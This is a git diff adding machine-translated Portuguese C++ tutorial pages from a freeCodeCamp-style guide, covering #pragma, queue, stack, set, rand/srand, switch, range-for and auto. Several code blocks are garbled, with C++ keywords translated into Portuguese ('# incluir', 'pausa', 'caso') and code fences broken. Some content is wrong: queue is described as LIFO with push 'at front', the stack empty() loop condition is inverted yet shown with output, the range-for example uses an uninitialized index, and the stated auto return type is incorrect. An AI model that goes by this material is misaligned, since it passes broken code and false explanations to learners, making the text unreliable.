+2.  \##### `#pragma` directiva: Esta diretiva é uma diretiva de propósito especial e é usada para ativar ou desativar alguns recursos. Esse tipo de diretivas é específico do compilador, ou seja, elas variam de compilador para compilador. Algumas das diretivas # `#pragma` são discutidas abaixo:
+
+##### `#pragma startup` e `#pragma exit` :
+
+Essas diretivas nos ajudam a especificar as funções necessárias para executar antes da inicialização do programa (antes que o controle passe para main ()) e logo antes da saída do programa (logo antes que o controle retorne de main ()).
+
+```cpp
+#include<stdio.h> 
+ void func1(); 
+ void func2(); 
+ #pragma startup func1 
+ #pragma exit func2 
+ void func1() 
+ { 
+    printf("Inside func1() "); 
+ } 
+ void func2() 
+ { 
+    printf("Inside func2() "); 
+ } 
+ int main() 
+ { 
+    printf("Inside main() "); 
+ 
+    return 0; 
+ } 
+```
+
+Saída:  
+`Inside func1() Inside main() Inside func2()`  
+O código acima irá produzir a saída como indicado abaixo quando executado em compiladores GCC:  
+Saída:  
+`Inside main()`  
+Isso acontece porque o GCC não suporta a inicialização ou a saída #pragma. No entanto, você pode usar o código abaixo para uma saída similar em compiladores GCC.
+
+```cpp
+#include<stdio.h> 
+ void func1(); 
+ void func2(); 
+ void __attribute__((constructor)) func1(); 
+ void __attribute__((destructor)) func2(); 
+ void func1() 
+ { 
+    printf("Inside func1()\n"); 
+ } 
+ void func2() 
+ { 
+    printf("Inside func2()\n"); 
+ } 
+ int main() 
+ { 
+    printf("Inside main()\n"); 
+ 
+    return 0; 
+ } 
+```
+
+##### `#pragma warn` directiva:
+
+Esta diretiva é usada para ocultar a mensagem de aviso exibida durante a compilação. Podemos ocultar os avisos conforme mostrado abaixo:
+
+##### `#pragma warn -rvl` :
+
+Essa diretiva oculta os avisos que são gerados quando uma função que deve retornar um valor não retorna um valor.
+
+##### `#pragma warn -par` :
+
+Essa diretiva oculta os avisos que são gerados quando uma função não usa os parâmetros passados ​​para ela.
+
+##### `#pragma warn -rch` :
+
+Essa diretiva oculta os avisos que são gerados quando um código está inacessível. Por exemplo: qualquer código escrito após a declaração de retorno em uma função é inacessível.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/queue/index.md b/client/src/guide/portuguese/cplusplus/queue/index.md
new file mode 100644
index 0000000000..8a880802bf
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/queue/index.md
@@ -0,0 +1,197 @@
+---
+title: queue
+localeTitle: fila
+---
+## Filas
+
+`queue` é um dos contêineres mais usados ​​em C ++. Um contêiner é uma estrutura de dados que armazena uma coleção de objetos, alguns em ordem, outros não. Todos os contêineres possuem um conjunto diferente de funções que permitem acessar um objeto (s) nessa coleção.
+
+`std::queue` faz parte da biblioteca padrão C ++ (daí o prefixo `std::` e permite que você armazene dados na ordem First In First Out (FIFO). NOTA: **Todos os objetos em uma fila devem ser do mesmo tipo de dados**
+
+O tipo de dados armazenado em uma fila fica entre colchetes angulares ao lado da palavra-chave da fila. Por exemplo, se você gostaria de armazenar uma coleção de inteiros, a fila seria `std::queue<int> queue_name`
+
+### Explicação LIFO da fila
+
+`queue` nos permite enviar / enfileirar e colocar / soltar em ordem específica. **Empurrar** significa inserir um objeto na frente da fila. **Pop** significa retirar o objeto "mais antigo" do final da fila. Então, quando você empurra, está na frente e, quando você abre, extrai o elemento mais antigo.
+
+![alt text](https://github.com/mohammadaziz313/helloworld/blob/master/Fifo_queue.png "Exemplo de Enfileiramento e Desenfileiramento de Filas FIFO")
+
+### Operações de fila
+
+O contêiner de filas suporta as seguintes operações:
+
+*   empurrar (enfileirar)
+*   pop (dequeue)
+*   vazio
+*   Tamanho
+*   frente
+*   costas
+
+#### Empurrar
+
+Permite inserir um novo elemento no final da fila, depois do último elemento atual.
+
+```cpp
+//Push operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  return 0; 
+ } 
+```
+
+#### Frente
+
+Permite que você acesse o próximo elemento na fila sem removê-lo. O próximo elemento é o elemento "mais antigo" na fila.
+
+```cpp
+//Front operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 1 
+ 1 
+```
+
+#### Pop
+
+Permite que você remova o próximo elemento na fila, reduzindo efetivamente seu tamanho em um. O elemento removido é o elemento "mais antigo".
+
+```cpp
+//Pop operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 1 
+ 2 
+```
+
+#### Tamanho
+
+Retorna o número de elementos na `queue` .
+
+```cpp
+//Size operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 1 
+ 0 
+```
+
+#### Vazio
+
+Retorna se a `queue` está vazia, ou seja, se o tamanho da sua fila é zero. Retorna `true` se o tamanho da fila 0 retornar mais `false`
+
+\`\` \`cpp // Operação vazia na fila
+
+# incluir // std :: cout
+
+# incluir // std :: stack
+
+int main () { std :: queue q;
+
+q.push (1); q.push (2);
+
+while (q.empty ()! = true) { std :: cout << q.front () << '\\ n'; q.pop (); }
+
+std :: cout << "Fora de loop" << '\\ n'; return 0; }
+```
+    Output: 
+    1 
+    2 
+    Out of loop 
+ 
+ #### Back 
+ 
+ Allows you to access the last element in the queue without removing it. 
+ The next element is the "newest" element in the queue. 
+```
+
+cpp // Voltar operação na fila
+
+# incluir // std :: cout
+
+# incluir // std :: queue
+
+int main () { std :: queue q;
+
+q.push (1); // Empurrando 1 na frente da fila q.push (2); // Empurrando 2 na frente da fila
+
+std :: cout << q.back () << '\\ n'; // Acessando a parte de trás da fila std :: cout << q.back () << '\\ n'; // Acessando a parte de trás da fila
+
+return 0; } \`\` \`
+```
+Output: 
+ 2 
+ 2 
+```
+
+### Para mais recursos:
+
+http://www.cplusplus.com/reference/queue/queue/
+
+### Citações:
+
+Imagem Cortesia: https://en.wikipedia.org/wiki/FIFO _(computação_ and\_electronics)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/random-functions/index.md b/client/src/guide/portuguese/cplusplus/random-functions/index.md
new file mode 100644
index 0000000000..14d68b89ed
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/random-functions/index.md
@@ -0,0 +1,88 @@
+---
+title: Random Functions
+localeTitle: Funções Aleatórias
+---
+*   Números aleatórios são uma maneira conveniente de introduzir randomização em seu programa. Por exemplo, se você quiser executar simulações ou jogar, excluir índices aleatórios de uma matriz, etc, então números aleatórios são o caminho a percorrer.
+*   O arquivo de cabeçalho a ser incluído para usar números aleatórios em c ++ é `cstdlib` .
+*   _Dica profissional: -_ Você pode usar `cpp #include<bits/stdc++.h>` para incluir todas as funções de todos os arquivos de cabeçalho.
+
+Função: - rand ()  
+\- Retorna um número pseudo-aleatório (inteiro) de 0 a RAND _MAX. Não aceita argumentos. - RAND_ MAX é o número inteiro máximo permitido. É compilador depedente e geralmente é 2147483647.
+
+Abaixo está um exemplo:
+
+```cpp
+#include <cstdlib> 
+ #include <iostream> 
+ using namespace std; 
+ 
+ int main() { 
+  cout << rand() << endl; 
+  cout << rand() << endl; 
+  cout << rand() << endl; 
+  return 0; 
+ } 
+ 
+ /* 
+ Output:- (Note that the output is random and will differ from what is mentioned here) 
+ 1804289383 
+ 846930886 
+ 1681692777 
+ */ 
+```
+
+Agora, execute o programa novamente. E de novo. E de novo. O que você vê? A mesma saída é impressa de novo e de novo.
+
+Vamos voltar para a definição da função rand (): -
+
+rand (): - _Retorna um número **pseudo-aleatório** (inteiro) de 0 a RAND\_MAX. Não aceita argumentos._
+
+Então, o que é um número pseudo-aleatório?
+
+*   Como o nome sugere, um número que não é verdadeiramente aleatório é pseudo-aleatório.
+*   Os números psuorandomizados não são criptograficamente seguros e são vulneráveis ​​a ataques.
+*   No contexto de C ++, o número parece aleatório, mas não verdadeiramente aleatório. A função assume que cada número de 0 a RAND\_MAX é igualmente provável e cospe um número. (Na realidade, este não é o caso, mas está próximo). Por exemplo, o número 5 é usado em quase todos os lugares. Se um número aleatório cospe 5, você pode não achar que o número é de fato aleatório.
+*   A função aleatória rand () recebe um número muito grande, aplica módulo por um número primo grande e faz todos os tipos de operações em um número e retorna um valor. Por mais complicado que seja, ainda é possível quebrá-lo.
+
+Como podemos obter um conjunto único de números aleatórios durante toda a execução do programa?
+
+Usamos `void srand(int seed)` ;
+
+*   "Semente" é o nome dado a um número que faz o gerador de seqüência aleatória começar em um ponto de partida diferente toda vez. Isso garante que a função aleatória não cuspa os mesmos valores durante a execução do programa.
+*   **É importante invocar apenas o srand call ONCE no início do programa.**
+*   Não há necessidade de chamadas repetidas para semear o gerador de números aleatórios (na verdade, isso fará com que seu número seja menos uniforme distribuído).
+*   Uma técnica comumente usada é semear o gerador de números aleatórios usando o relógio, já que o relógio fornece uma saída diferente toda vez que você o analisa. Então, para a semente, você pode pegar a saída do tempo e conectá-la ao gerador de números aleatórios.
+*   A função time () retornará a hora do computador. Isto é expresso em termos do número de segundos que se passaram desde 1 de janeiro de 1970 (a Época).
+*   O tempo de função (NULL) retornará o número de segundos decorridos no tempo do computador.
+*   O arquivo de cabeçalho que deve ser incluído para as funções de hora: \`ctime '.
+
+Fragmento de código:
+
+```cpp
+#include <ctime> 
+ 
+ srand(time(NULL)); 
+ cout << rand(); 
+ 
+ /* 
+ Output: (Will differ from computer to computer, and because of the seed, will also differ from time to time, literally. :D) 
+ 1696269016 
+ */ 
+```
+
+Isso produz valores diferentes toda vez que o programa é executado.
+
+Bônus: Ajustando o rand () para sua conveniência.
+
+*   Como rand () retorna um número aleatório de 0 a RAND\_MAX, se você quiser um número entre 0 e 8, por exemplo, então -rand ()% 9. Qualquer número módulo 9 retornará um valor de 0 a 8.
+    
+*   Mais formalmente, se você quiser um número entre L (inclusive) e U (inclusive), você deve fazer `int num = L + rand()%(U-L+1).` Explicação: - rand ()% (UL + 1) retorna um número aleatório (pseudo-aleatório, não esqueça) entre 0 e (UL). Portanto, adicionar L garante que obtemos um valor entre L e U.
+    
+    Resumo: -
+    
+
+1.  int rand (): Retorna um número aleatório entre 0 e RAND\_MAX.
+    
+2.  void srand (int seed): Usado para semear o gerador de números aleatórios. É suficiente chamar essa função apenas _uma vez_ .
+    
+    ### Fontes: - [Geração de Números Aleatórios](http://www.math.uaa.alaska.edu/~afkjm/csce211/handouts/RandomFunctions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/range-for-loop/index.md b/client/src/guide/portuguese/cplusplus/range-for-loop/index.md
new file mode 100644
index 0000000000..04aecba58c
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/range-for-loop/index.md
@@ -0,0 +1,30 @@
+---
+title: Range For Loop
+localeTitle: Faixa para Loop
+---
+## Baseado em intervalo para loop
+
+O loop `for` baseado `for` ranged permite um loop fácil em um intervalo de elementos (como elementos em um contêiner).
+
+Com tradicional `for` loop:
+
+```cpp
+std::vector<std::string> stringList {"one", "two", "three"}; 
+ 
+ for (size_t il; il < stringList.size(); il++ 
+ { 
+  std::cout << stringList.at(il) << std::endl; 
+ } 
+```
+
+Com base `for` intervalo `for` loop:
+
+```cpp
+std::vector<std::string> stringList {"one", "two", "three"}; 
+ 
+ for (auto& singleString : stringList) 
+ { 
+  std:cout << singleString << std::endl; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/set/index.md b/client/src/guide/portuguese/cplusplus/set/index.md
new file mode 100644
index 0000000000..7716217135
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/set/index.md
@@ -0,0 +1,94 @@
+---
+title: Set
+localeTitle: Conjunto
+---
+Uma estrutura de dados definida em c ++ é definida da mesma forma que um conjunto é definido no contexto da matemática.
+
+Mais formalmente falando, os Conjuntos são um tipo de contêineres associativos nos quais cada elemento tem que ser único.
+
+*   O valor do elemento não pode ser modificado depois que ele é inserido, embora a exclusão de um elemento e a inserção de um novo elemento seja permitida, da mesma forma que fazemos em matemática.
+*   Definir estrutura de dados pode ser usado para modelar, bem, se define. Fica fácil achar interseções, uniões etc.
+*   Semelhante ao vetor, mas somente valores exclusivos são permitidos.
+*   Set organiza os elementos em ordem crescente como e quando você insere elementos no conjunto.
+
+O arquivo de cabeçalho necessário para usar a estrutura de dados definida é 'set'. ou seja, `#include<set>` deve estar lá em seu código para você usar a estrutura de dados definida.
+
+**Dica profissional** : - Use `#include<bits/stdc++.h>` para incluir todas as estruturas e funções de dados do C ++, em vez de adicioná-las uma a uma.  
+Algumas das funções que podem ser executadas com um conjunto: -
+
+1.  begin () - Retorna um iterador para o primeiro elemento no conjunto
+2.  end () - Retorna um iterador ao elemento teórico que segue o último elemento no conjunto
+3.  size () - Retorna o número de elementos no conjunto
+4.  max\_size () - Retorna o número máximo de elementos que o conjunto pode conter
+5.  empty () - Retorna se o conjunto está vazio
+6.  erase (const g) - Remove o valor 'g' do conjunto
+7.  clear () - Remove todos os elementos do conjunto
+
+Vamos ver um exemplo :-
+
+```cpp
+#include <iostream> 
+ #include <set> 
+ #include <iterator> 
+ 
+ using namespace std; 
+ int main() 
+ { 
+    set <int> myset;   //an empty set container. Note that size of the set need not be declared, similar to vector. 
+ 
+    // insert elements in random order 
+    myset.insert(65); 
+    myset.insert(30); 
+    myset.insert(80); 
+    myset.insert(20); 
+    myset.insert(9); 
+    myset.insert(9); // only one 9 will be added to the list. 
+ 
+ 
+    // printing set myset 
+    set <int> :: iterator itr; //an iterator is like a pointer. 
+    cout << "\nThe contents of myset : "; 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+    cout << endl; 
+ 
+ 
+    // remove all elements up to 65 in myset from the beginning:- 
+    cout << "\nContents of myset after removal of elements less than 30 : "; 
+    myset.erase(myset.begin(), myset.find(30)); 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+ 
+    // remove element with value 50 in myset 
+ 
+    int num = myset.erase(80); //returns true (and deletes) if 80 is there in the list else returns 0. 
+    cout<<"\n\n After doing myset.erase(80), "<<num<<" element is removed\n\n"; 
+    cout<<"Contents of the modified set:\t"; 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+ 
+    cout << endl; 
+ 
+ 
+    return 0; 
+ 
+ } 
+```
+
+\`\` \`cpp Saída:- O conteúdo do myset: 9 20 30 65 80
+
+Conteúdo do myset após a remoção de elementos inferiores a 30: 30 65 80
+
+Depois de fazer myset.erase (80), 1 elemento é removido
+
+Conteúdo do conjunto modificado: 30 65 \`\` \`
+
+\### Fontes
+
+1.  [Geeks para Geeks](https://www.geeksforgeeks.org/set-in-cpp-stl/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/stack/index.md b/client/src/guide/portuguese/cplusplus/stack/index.md
new file mode 100644
index 0000000000..8652eb9fcc
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/stack/index.md
@@ -0,0 +1,174 @@
+---
+title: stack
+localeTitle: pilha
+---
+## Pilhas
+
+`stack` é um dos contêineres mais usados ​​em C ++. Um contêiner é uma estrutura de dados que armazena uma coleção de objetos, alguns em ordem, outros não. Todos os contêineres possuem um conjunto diferente de funções que permitem acessar um objeto (s) nessa coleção.
+
+`std::stack` faz parte da biblioteca padrão C ++ (daí o prefixo `std::` e permite que você armazene dados na ordem Last In First Out (LIFO). NOTA: **Todos os objetos dentro de uma pilha devem ser do mesmo tipo de dados**
+
+O tipo de dados armazenado em uma pilha fica entre os colchetes angulares ao lado da palavra-chave da pilha. Por exemplo, se você gostaria de armazenar uma coleção de inteiros, a pilha seria `std::stack<int> stack_name`
+
+### Stack LIFO Explanation
+
+`stack` nos permite empurrar e pop em ordem específica. **Empurrar** significa inserir um objeto no topo da pilha. **Pop** significa retirar o último objeto inserido do topo da pilha. Então, quando você empurra, está no topo e quando você estala, extrai o último elemento inserido.
+
+![alt text](https://github.com/mohammadaziz313/helloworld/blob/master/Lifo_stack.png "LIFO Stack Push and Pop Example")
+
+### Operações de pilha
+
+O contêiner de pilha suporta as seguintes operações:
+
+*   empurrar
+*   pop
+*   vazio
+*   Tamanho
+*   costas
+
+#### Empurrar
+
+Permite inserir um novo elemento na parte superior da pilha, acima do elemento superior atual.
+
+```cpp
+//Push operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  return 0; 
+ } 
+```
+
+#### Topo
+
+Permite que você acesse o elemento superior sem removê-lo de sua pilha.
+
+```cpp
+//Top operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.top()<<'\n';     //Accessing the top of the stack 
+  std::cout<<s.top()<<'\n';     //Accessing the top of the stack 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 2 
+```
+
+#### Pop
+
+Remove o elemento no topo da pilha, reduzindo efetivamente o tamanho da pilha em um.
+
+```cpp
+//Pop operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.top()<<'\n';   //Accessing the top of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.top()<<'\n';   //Accessing the top of the stack 
+ 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 1 
+```
+
+#### Tamanho
+
+Retorna o número de elementos na `stack` .
+
+```cpp
+//Size operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 1 
+ 0 
+```
+
+#### Vazio
+
+Retorna se a `stack` está vazia, ou seja, se o tamanho da sua pilha é zero. Retorna `true` se o tamanho 0 da pilha retornar mais `false`
+
+```cpp
+//Empty operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1); 
+  s.push(2); 
+ 
+  while(s.empty() != false){ 
+      std::cout<<s.top()<<'\n'; 
+      s.pop(); 
+  } 
+ 
+  std::cout<<"Out of loop"<<'\n'; 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 1 
+ Out of loop 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/switch-statements/index.md b/client/src/guide/portuguese/cplusplus/switch-statements/index.md
new file mode 100644
index 0000000000..789b45f9fb
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/switch-statements/index.md
@@ -0,0 +1,43 @@
+---
+title:Switch Statement
+localeTitle: undefined
+---
+Uma instrução switch permite que uma variável seja testada quanto à igualdade em relação a uma lista de valores. Cada valor é chamado de caso e a variável que está sendo ativada é verificada para cada caso.
+
+Sintaxe: switch (expressão) { expressão constante de caso: afirmações); pausa; //opcional expressão constante de caso: afirmações); pausa; //opcional
+
+// você pode ter qualquer número de declarações de caso. padrão: // Opcional afirmações); }
+
+As seguintes regras se aplicam a uma instrução switch -
+
+A expressão usada em uma instrução switch deve ter um tipo integral ou enumerado, ou ser de um tipo de classe em que a classe tenha uma única função de conversão para um tipo integral ou enumerado.
+
+Você pode ter qualquer número de instruções de caso dentro de um comutador. Cada caso é seguido pelo valor a ser comparado e dois pontos.
+
+A expressão constante para um caso deve ser o mesmo tipo de dados que a variável no switch e deve ser uma constante ou um literal.
+
+Quando a variável que está sendo ligada é igual a um caso, as instruções que seguem esse caso serão executadas até que uma instrução de quebra seja atingida.
+
+Quando uma instrução break é atingida, o switch termina e o fluxo de controle passa para a próxima linha após a instrução switch.
+
+Nem todo caso precisa conter uma pausa. Se nenhuma quebra aparecer, o fluxo de controle cairá para casos subseqüentes até que uma quebra seja atingida.
+
+Uma instrução switch pode ter um caso padrão opcional, que deve aparecer no final do comutador. O caso padrão pode ser usado para executar uma tarefa quando nenhum dos casos é verdadeiro. Nenhuma quebra é necessária no caso padrão.
+
+Exemplo: \`\` \`C ++
+
+# incluir
+
+usando namespace std;
+
+int main () { // declaração de variável local: nota de char = 'D';
+
+switch (grade) { caso 'A': cout << "Excelente!" << endl; pausa; caso 'B': caso 'C': cout << "Bem feito" << endl; pausa; caso 'D': cout << "Você passou" << endl; pausa; caso 'F': cout << "Melhor tentar novamente" << endl; pausa; padrão : cout << "Nota inválida" << endl; } cout << "Sua nota é" << nota << endl;
+
+return 0; } \`\` \`
+
+Saída: Você passou Sua nota é D
+
+### Fontes
+
+https://www.tutorialspoint.com
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/terms-to-know-for-beginners/index.md b/client/src/guide/portuguese/cplusplus/terms-to-know-for-beginners/index.md
new file mode 100644
index 0000000000..454bd7efbd
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/terms-to-know-for-beginners/index.md
@@ -0,0 +1,142 @@
+---
+title: IDE and Printing different text 
+localeTitle: IDE e impressão de texto diferente
+---
# Introdução a um IDE e impressão de texto diferente:
+
+*   No último artigo, alguns links para download de software necessários para a programação. Um software como esse é conhecido como IDE. **IDE significa Integrated Development Environment**
+
+## Os IDEs consistem principalmente em 3 tipos de software:
+
+**1 Editor:** Um editor de texto ligeiramente modificado para facilitar a codificação. Um exemplo de editor para codificação é o Notepad ++.
+
+**2 Debugger:** Software que ajuda você a encontrar erros no seu programa e resolvê-los antes da execução. Imagine o FaceBook travando no carregamento de um aplicativo ou um jogo travando de repente. Para evitar a execução defeituosa de um programa, o depurador é o melhor amigo de um programador.
+
+**3 Compiler:** Um compilador é a parte do computador que converte seu código de programa de alto nível em código de máquina simples: 0s & 1s; para que um computador entenda os comandos e os execute. De agora em diante, estaremos usando o **compilador de** palavras com frequência.
+
+_P: Tente pesquisar um IDE no Google e execute seu primeiro programa nele. Verifique a saída_
+
+Agora, instale o IDE e tente alterar o texto do programa no último artigo.
+
+### Alterando o texto em C ++
+
+*   Para alterar o texto, altere o que é digitado no `""` após `cout<<`
+
+Um programa de amostra:
+
+```cpp
+#include <iostream> 
+ using namespace std : 
+ int main() 
+ { 
+    cout << "I Love freeCodeCamp ! "; 
+ } 
+```
+
+O código acima retorna um erro porque na linha 2, usamos dois pontos (:) em vez de um ponto-e-vírgula (;) Então, vamos depurar o erro:
+
+```C++
+#include <iostream> 
+ using namespace std ; 
+ int main() 
+ { 
+    cout << "I Love freeCodeCamp ! "; 
+    return 0; 
+ } 
+```
+
+Note que agora o programa funciona perfeitamente. A saída será: `I Love freeCodeCamp!`
+
+### Agora vamos mudar o texto para algo assim:
+
+```cpp
+    cout << "Hello World!\t I love freeCodeCamp!"; 
+```
+
+A saída será algo diferente desta vez:
+```
+Hello World!     I love freeCodeCamp! 
+```
+
+Se você percebeu, o comando `\t` criou um _espaço de tabulação_ entre os dois textos. Este é um tipo de comando especial em C ++. Esses comandos especiais são conhecidos como _seqüências de escape_ . Eles são usados ​​para imprimir certos caracteres especiais que um compilador não pode exibir.
+
+#### Sequências de escape úteis:
+
+*   `\'` Para imprimir uma única vírgula invertida
+*   `\"` para imprimir uma vírgula invertida dupla
+*   `\n` para imprimir em uma nova linha
+*   `\t` para uma guia horizontal
+*   `\f` para uma nova página
+*   `\\` por uma barra invertida
+*   `\?` para um ponto de interrogação
+
+##### Agora, vamos tentar imprimir números e caracteres especiais com algumas seqüências de escape:
+
+```cpp
+    cout << "40158 \t 236708 ! \n \\ @ \?" << endl; 
+```
+
+A saída muda para:
+```
+40158      236708 ! 
+ \ @ ? 
+```
+
+##### Vamos tentar algumas outras formas de impressão:
+
+```cpp
+    cout << "1+2" << endl; 
+    cout << 1+2 << endl; 
+```
+
+Saída:
+
+*   A primeira declaração de saída é `1+2`
+*   A segunda declaração de saída é `3`
+
+Isso ocorre porque não adicionamos as aspas invertidas para a segunda instrução de impressão e, portanto, o compilador adicionou os números antes de imprimi-los.
+
+#### Comentários:
+
+*   Comentários são uma característica importante de muitas linguagens de programação. Eles permitem que o programador faça anotações para autoajuda e não afetará a execução do programa.
+
+**Os diferentes tipos de comentários e sintaxe de um comentário** :
+
+1 `//` ~ _Single Line Comments_ : O comprimento desses comentários é de 1 linha (a linha em que é digitado). 2 `/* */` ~ _Multi Line Comments_ : Estes comentários podem ocupar um espaço de mais de uma linha.
+
+#### Exemplo de uso de comentários:
+
+\`\` \`cpp cout << "Olá Comentário" << endl; // cout << "Hello Comment" << endl; Comentário de linha única.
+```
+/* This is an example of a multi line comment. No output is generated for this . 
+ I now end the comment.  :) */ 
+```
+
+\`\` \`
+
+A saída será:
+
+`Hello Comment`
+
+Como você pode perceber, os comentários são ignorados durante a execução do programa e não aparecem na verificação da saída do programa. Deve-se notar que, embora os comentários adicionem um nível extra de legibilidade ao código, é um mau hábito confiar demais nos comentários para descrever a lógica em seu código. Em geral, seu código deve falar por si e refletir a intenção do programador.
+
+Como você pode perceber, os comentários são ignorados durante a execução do programa e não aparecem na verificação da saída do programa.
+
+#### Operadores
+
+*   Os operadores permitem comparar duas ou mais expressões
+*   `==` igual a
+*   `!=` não é igual a
+*   `<` menos de
+*   `>` maior que
+*   `<=` menor ou igual a
+*   `>=` maior que ou igual a
+
+```cpp
+    (7==5); 
+```
+
+Isso é avaliado como falso
+
+`cpp (7!=5);` Isso é avaliado como verdadeiro
+
+[Um resumo de todas as declarações de impressão usadas neste artigo. Sinta-se à vontade para mexer no código! :)](https://repl.it/L4ox)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/the-auto-feature/index.md b/client/src/guide/portuguese/cplusplus/the-auto-feature/index.md
new file mode 100644
index 0000000000..e07b62b0e8
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/the-auto-feature/index.md
@@ -0,0 +1,74 @@
+---
+title: The Auto Feature
+localeTitle: O recurso automático
+---
+## O recurso automático
+
+`auto` é um recurso do C ++ 11 que permite ao compilador inferir o tipo de dados para você em uma definição. Isso pode economizar bastante digitação, especialmente com tipos complicados.
+
+Sem `auto` :
+
+```cpp
+double x = 10.425; 
+ double y = x * x; 
+```
+
+Com `auto` :
+
+```cpp
+double x = 10.425; 
+ auto y = x * x; 
+```
+
+Embora pareça trivial, torna-se incrivelmente útil quando os tipos de dados começam a ficar complicados. Por exemplo, suponha que você queira armazenar um [`vector`](https://guide.freecodecamp.org/cplusplus/vector) de funcionários e esteja interessado apenas em seu nome e idade. Uma maneira de armazenar o nome e a idade pode ser um `pair` com uma `string` e um `unsigned int` . Isso é declarado como `std::vector<std::pair<std::string, unsigned int>> employees` . Agora, suponha que você queira acessar o último funcionário adicionado:
+
+```cpp
+std::vector<std::pair<std::string, unsigned int>> employees; 
+ 
+ // without auto, you have to write: 
+ std::pair<std::string, unsigned int>> last_employee = employees.back(); 
+ 
+ // with auto, you just have to write: 
+ auto last_employee = employees.back(); 
+```
+
+Uma vez que o compilador determina o tipo do lado direito do `=` ele substitui o `auto` por esse tipo.
+
+Nas versões modernas de C ++ (desde C ++ 14), `auto` também pode ser usado em uma declaração de função como o tipo de retorno. O compilador inferirá então o tipo de retorno da declaração de retorno dentro da função. Seguindo o exemplo com funcionários:
+```
+std::vector<std::pair<std::string, unsigned int>> employees; 
+ auto get_last_employee() { 
+    return employees.back(); // Compiler knows the return type from this line. 
+ } 
+```
+
+O compilador saberá da linha com a instrução de retorno que o tipo de retorno da função deve ser `std::vector<std::pair<std::string, unsigned int>>` .
+
